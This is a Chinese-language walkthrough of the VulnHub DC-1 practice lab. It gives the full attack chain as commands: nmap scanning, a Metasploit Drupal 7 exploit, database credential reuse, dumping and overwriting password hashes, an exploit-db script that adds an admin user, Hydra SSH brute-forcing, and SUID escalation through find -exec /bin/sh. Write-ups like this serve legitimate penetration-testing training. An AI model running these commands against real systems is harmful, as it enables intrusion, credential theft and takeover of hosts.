靶场搭建
DC系列靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip(DC后的数字可以换成1-8中任意一个)
下载好后解压好后,用vmvare直接打开虚拟机,导入时可能会提示错误,重试就可以了,打开靶机,打开如下就是正常的,靶机默认桥接。
渗透过程
1、信息收集
探测主机存活,探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover,后两种经常用,这里就用第一种,得到靶机ip
扫描一下端口
nmap -sV -Pn 192.168.33.128
-sV: 指定让Nmap进行版本侦测
-PN: 跳过Ping扫描阶段
访问80端口
使用插件Wappalyzer进行网站指纹识别
由图可得到一下信息:
DC-1靶场使用的内容管理系统为:Drupal 7
编程语言为: PHP 5.4.45
Web服务器:Apache 2.2.22
操作系统为:Debian
JavaScript库:jQuery 1.4.4
2、漏洞利用
利用kali自带的msf模块查找drupal类CMS相关漏洞
这里选用2018年的这个,直接use加上前面的编号就可以
查看需要配置的参数
设置参数,然后启动,成功获取靶机shell
set rhosts 192.168.33.128 #这里的ip是你要攻击的ip,也就是靶机ip
run #启动
shell
python -c 'import pty;pty.spawn("/bin/bash")'
使用ls命令查看下当前目录下的文件
查看flag1.txt,这句话就给了我们提示,然我们去找它的配置文件
在sites/default/settings.php下发现了数据库信息
3、连接数据库
连接数据库,成功登录
mysql -udbuser -pR0ck3t
切换到drupaldb数据库
show databases; #查看有哪些数据库
use drupaldb; #使用数据库
show tables; #查看有哪些表
查询一下user表
slelect * from users;
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
密码解密
方法一:修改admin的密码
找到drupal的加密脚本,然后打开
cat /var/www/scripts/password-hash.sh
脚本是用php写的,可以用php加参数运行,得到加密后的密码,这里设置一个密码为123456
php /var/www/scripts/password-hash.sh 123456
得到加密的密码后,再进入数据库将两个账户的密码进行更改
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass="$S$DYx5QPqs6HjzAZlkCQnfuO8hU2qZ.59jw7BbW/VZqa1blrmWQNPC" where name='admin' or name='Fred'; #这里的pass放自己编码的
这里图片上写错了,当时也不知道咋成功的,能用就行
密码修改成功。
方法二:添加admin权限用户
drupal的exp中有个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
searchsploit drupal
看一下脚本path
searchsploit 34992.py -p
添加用户
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.33.128 -u admin2 -p admin2
这里就用添加的账户登录
进去后找到flag3,提示信息有passwd和shadow,这些都是linux的敏感文件。
4、查看linux用户信息
tac /etc/passwd
可以看到有flag4这个用户
5、用户密码爆破
flag4用户密码可以使用ssh登录,利用工具Hydra爆破flag4的密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.33.128
用ssh连接,输入密码登录成功
ssh flag4@192.168.33.128
打开flag4.txt没有啥有用的信息
6、Linux提权
需要用到SUID提权,利用find命令,找查具有SUID权限的可执行二进制文件
提权成功
find / -name index.php -exec "/bin/sh" \;
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec "/bin/sh" \;
查找最后一个flag文件